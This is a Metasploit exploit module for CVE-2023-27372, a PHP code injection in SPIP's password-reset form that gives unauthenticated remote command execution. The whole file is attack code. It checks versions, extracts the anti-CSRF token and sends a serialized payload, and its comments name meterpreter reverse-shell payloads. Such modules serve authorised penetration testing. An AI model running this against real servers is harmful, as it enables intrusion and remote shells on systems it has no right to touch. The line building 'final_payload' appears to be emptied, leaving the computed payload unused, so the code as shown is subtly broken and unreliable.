## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HTTP::Spip def initialize(info = {}) super( update_info( info, 'Name' => 'SPIP form PHP Injection', 'Description' => %q{ This module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1. }, 'Author' => [ 'coiffeur', # Initial discovery 'Laluka', # PoC 'Julien Voisin', # MSF module 'Valentin Lobstein' # Added Windows compatibility and code rewrite ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ], [ 'URL', 'https://therealcoiffeur.com/c11010' ], [ 'CVE', '2023-27372' ], ], 'Privileged' => false, 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] }, 'DefaultTarget' => 0, 'DisclosureDate' => '2023-02-27' ) ) end def check rversion = spip_version || spip_plugin_version('spip') return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion print_status("SPIP Version detected: #{rversion}") vulnerable_ranges = [ { start: Rex::Version.new('4.2.0'), end: Rex::Version.new('4.2.1') }, { start: Rex::Version.new('4.1.0'), end: Rex::Version.new('4.1.18') }, { start: Rex::Version.new('4.0.0'), end: Rex::Version.new('4.0.10') }, { start: Rex::Version.new('3.2.0'), end: Rex::Version.new('3.2.18') } ] vulnerable_ranges.each do |range| if rversion.between?(range[:start], range[:end]) return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.") end end return Exploit::CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.") end def send_payload(cmd, args = {}) send_request_cgi( { 'uri' => args['uri'], 'method' => 'POST', 'vars_post' => { 'page' => 'spip_pass', 'lang' => 'fr', 'formulaire_action' => 'oubli', 'formulaire_action_args' => args['csrf'], 'oubli' => cmd } } ) end def exploit uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr') res = send_request_cgi({ 'uri' => uri }) fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200 csrf = '' unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty? csrf = node.first['value'] end print_status("Got anti-csrf token: #{csrf}") print_status("#{Rex::Socket.to_authority(rhost, rport)} - Attempting to exploit...") phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) final_payload = "" oubli = "s:#{final_payload.length}:\"#{final_payload}\";" send_payload(oubli, { 'uri' => uri, 'csrf' => csrf }) end end